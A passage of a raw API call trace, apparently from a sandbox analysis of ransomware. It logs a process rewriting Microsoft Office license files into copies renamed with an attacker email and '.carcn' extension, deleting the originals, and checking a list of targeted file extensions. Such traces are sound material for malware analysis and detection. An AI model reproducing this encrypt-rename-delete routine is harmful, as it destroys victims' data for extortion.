files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms")) returned 0x220 [0283.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0283.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0283.410] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0283.410] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0283.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0283.411] GetLastError () returned 0x0 [0283.411] ReadFile (in: hFile=0x550, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x2987, lpOverlapped=0x0) returned 1 [0283.450] WriteFile (in: hFile=0x4a8, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x2990, lpOverlapped=0x0) returned 1 [0283.452] ReadFile (in: hFile=0x550, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0283.452] WriteFile (in: hFile=0x4a8, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x104, lpOverlapped=0x0) returned 1 [0283.452] SetEndOfFile (hFile=0x4a8) returned 1 [0283.452] CloseHandle (hObject=0x4a8) returned 1 [0283.452] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0283.452] SetEndOfFile (hFile=0x550) returned 1 [0283.456] CloseHandle (hObject=0x550) returned 1 [0283.456] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0283.457] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms")) returned 1 [0283.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0283.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0283.458] lstrlenW (lpString=".doc") returned 4 [0283.458] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0283.458] lstrlenW (lpString=".docx") returned 5 [0283.458] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0283.458] lstrlenW (lpString=".pdf") returned 4 [0283.458] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0283.458] lstrlenW (lpString=".xls") returned 4 [0283.458] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0283.458] lstrlenW (lpString=".xlsx") returned 5 [0283.458] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0283.458] lstrlenW (lpString=".ppt") returned 4 [0283.458] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0283.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0283.458] lstrlenW (lpString=".zip") returned 4 [0283.458] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0283.458] lstrlenW (lpString=".rar") returned 4 [0283.459] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0283.459] lstrlenW (lpString=".bz2") returned 4 [0283.459] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0283.459] lstrlenW (lpString=".7z") returned 3 [0283.459] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0283.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0283.459] lstrlenW (lpString=".dbf") returned 4 [0283.459] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0283.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0283.459] lstrlenW (lpString=".1cd") returned 4 [0283.459] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0283.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0283.459] lstrlenW (lpString=".jpg") returned 4 [0283.459] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0283.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0283.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0283.460] lstrlenW (lpString=".doc") returned 4 [0283.460] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0283.460] lstrlenW (lpString=".docx") returned 5 [0283.460] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0283.460] lstrlenW (lpString=".pdf") returned 4 [0283.460] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0283.460] lstrlenW (lpString=".xls") returned 4 [0283.460] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0283.460] lstrlenW (lpString=".xlsx") returned 5 [0283.460] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0283.460] lstrlenW (lpString=".ppt") returned 4 [0283.460] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0283.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0283.460] lstrlenW (lpString=".zip") returned 4 [0283.460] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0283.460] lstrlenW (lpString=".rar") returned 4 [0283.460] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0283.460] lstrlenW (lpString=".bz2") returned 4 [0283.460] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0283.460] lstrlenW (lpString=".7z") returned 3 [0283.460] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0283.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0283.461] lstrlenW (lpString=".dbf") returned 4 [0283.461] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0283.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0283.461] lstrlenW (lpString=".1cd") returned 4 [0283.461] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0283.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0283.461] lstrlenW (lpString=".jpg") returned 4 [0283.461] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0283.461] lstrcmpiW (lpString1=".xrm-ms", lpString2=".carcn") returned 1 [0283.461] lstrlenW (lpString="AccessR_Retail-ul-oob.xrm-ms") returned 28 [0283.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0283.462] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=11579) returned 1 [0283.462] CloseHandle (hObject=0x550) returned 1 [0283.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms")) returned 0x220 [0283.463] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0283.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0283.463] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0283.463] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0283.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0283.465] GetLastError () returned 0x0 [0283.465] ReadFile (in: hFile=0x550, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x2d3b, lpOverlapped=0x0) returned 1 [0283.480] WriteFile (in: hFile=0x4a8, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x2d40, lpOverlapped=0x0) returned 1 [0283.481] ReadFile (in: hFile=0x550, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0283.482] WriteFile (in: hFile=0x4a8, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x10c, lpOverlapped=0x0) returned 1 [0283.482] SetEndOfFile (hFile=0x4a8) returned 1 [0283.482] CloseHandle (hObject=0x4a8) returned 1 [0283.482] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0283.482] SetEndOfFile (hFile=0x550) returned 1 [0283.486] CloseHandle (hObject=0x550) returned 1 [0283.486] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0283.487] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms")) returned 1 [0283.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0283.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0283.488] lstrlenW (lpString=".doc") returned 4 [0283.488] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0283.488] lstrlenW (lpString=".docx") returned 5 [0283.488] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0283.488] lstrlenW (lpString=".pdf") returned 4 [0283.488] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0283.488] lstrlenW (lpString=".xls") returned 4 [0283.488] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0283.488] lstrlenW (lpString=".xlsx") returned 5 [0283.488] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0283.488] lstrlenW (lpString=".ppt") returned 4 [0283.488] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0283.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0283.489] lstrlenW (lpString=".zip") returned 4 [0283.489] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0283.489] lstrlenW (lpString=".rar") returned 4 [0283.489] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0283.489] lstrlenW (lpString=".bz2") returned 4 [0283.489] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0283.489] lstrlenW (lpString=".7z") returned 3 [0283.489] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0283.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0283.489] lstrlenW (lpString=".dbf") returned 4 [0283.805] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0283.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0283.808] lstrlenW (lpString=".1cd") returned 4 [0283.808] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0283.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0283.808] lstrlenW (lpString=".jpg") returned 4 [0283.809] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0283.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0283.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0283.809] lstrlenW (lpString=".doc") returned 4 [0283.809] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0283.809] lstrlenW (lpString=".docx") returned 5 [0283.809] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0283.809] lstrlenW (lpString=".pdf") returned 4 [0283.809] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0283.809] lstrlenW (lpString=".xls") returned 4 [0283.809] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0283.809] lstrlenW (lpString=".xlsx") returned 5 [0283.809] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0283.809] lstrlenW (lpString=".ppt") returned 4 [0283.809] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0283.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0283.810] lstrlenW (lpString=".zip") returned 4 [0283.810] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0283.810] lstrlenW (lpString=".rar") returned 4 [0283.810] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0283.810] lstrlenW (lpString=".bz2") returned 4 [0283.810] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0283.810] lstrlenW (lpString=".7z") returned 3 [0283.810] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0283.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0283.810] lstrlenW (lpString=".dbf") returned 4 [0283.810] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0283.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0283.810] lstrlenW (lpString=".1cd") returned 4 [0283.810] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0283.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0283.810] lstrlenW (lpString=".jpg") returned 4 [0283.810] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0283.811] lstrcmpiW (lpString1=".xrm-ms", lpString2=".carcn") returned 1 [0283.818] lstrlenW (lpString="AccessR_Trial-ul-oob.xrm-ms") returned 27 [0283.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0284.050] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=11591) returned 1 [0284.050] CloseHandle (hObject=0x554) returned 1 [0284.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms")) returned 0x220 [0284.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0284.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0284.051] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0284.052] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0284.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0284.064] GetLastError () returned 0x0 [0284.064] ReadFile (in: hFile=0x554, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x2d47, lpOverlapped=0x0) returned 1 [0284.085] WriteFile (in: hFile=0x524, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x2d50, lpOverlapped=0x0) returned 1 [0284.086] ReadFile (in: hFile=0x554, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0284.086] WriteFile (in: hFile=0x524, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x10a, lpOverlapped=0x0) returned 1 [0284.086] SetEndOfFile (hFile=0x524) returned 1 [0284.087] CloseHandle (hObject=0x524) returned 1 [0284.087] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0284.087] SetEndOfFile (hFile=0x554) returned 1 [0284.098] CloseHandle (hObject=0x554) returned 1 [0284.099] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0284.101] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms")) returned 1 [0284.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0284.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0284.111] lstrlenW (lpString=".doc") returned 4 [0284.111] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0284.111] lstrlenW (lpString=".docx") returned 5 [0284.111] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0284.111] lstrlenW (lpString=".pdf") returned 4 [0284.111] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0284.111] lstrlenW (lpString=".xls") returned 4 [0284.111] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0284.111] lstrlenW (lpString=".xlsx") returned 5 [0284.111] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0284.111] lstrlenW (lpString=".ppt") returned 4 [0284.111] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0284.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0284.111] lstrlenW (lpString=".zip") returned 4 [0284.111] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0284.111] lstrlenW (lpString=".rar") returned 4 [0284.111] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0284.111] lstrlenW (lpString=".bz2") returned 4 [0284.111] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0284.111] lstrlenW (lpString=".7z") returned 3 [0284.112] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0284.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0284.112] lstrlenW (lpString=".dbf") returned 4 [0284.112] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0284.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0284.112] lstrlenW (lpString=".1cd") returned 4 [0284.112] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0284.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0284.112] lstrlenW (lpString=".jpg") returned 4 [0284.112] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0284.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0284.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0284.112] lstrlenW (lpString=".doc") returned 4 [0284.112] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0284.112] lstrlenW (lpString=".docx") returned 5 [0284.112] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0284.112] lstrlenW (lpString=".pdf") returned 4 [0284.112] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0284.112] lstrlenW (lpString=".xls") returned 4 [0284.112] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0284.113] lstrlenW (lpString=".xlsx") returned 5 [0284.113] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0284.113] lstrlenW (lpString=".ppt") returned 4 [0284.113] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0284.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0284.113] lstrlenW (lpString=".zip") returned 4 [0284.113] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0284.113] lstrlenW (lpString=".rar") returned 4 [0284.113] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0284.113] lstrlenW (lpString=".bz2") returned 4 [0284.113] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0284.113] lstrlenW (lpString=".7z") returned 3 [0284.113] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0284.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0284.113] lstrlenW (lpString=".dbf") returned 4 [0284.113] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0284.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0284.113] lstrlenW (lpString=".1cd") returned 4 [0284.113] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0284.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0284.113] lstrlenW (lpString=".jpg") returned 4 [0284.114] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0284.114] lstrcmpiW (lpString1=".xrm-ms", lpString2=".carcn") returned 1 [0284.114] lstrlenW (lpString="AccessVL_MAK-ppd.xrm-ms") returned 23 [0284.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0284.116] GetFileSizeEx (in: hFile=0x41c, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=6729) returned 1 [0284.116] CloseHandle (hObject=0x41c) returned 1 [0284.116] GetFileAttributesW (lpFileName="C:\\Program 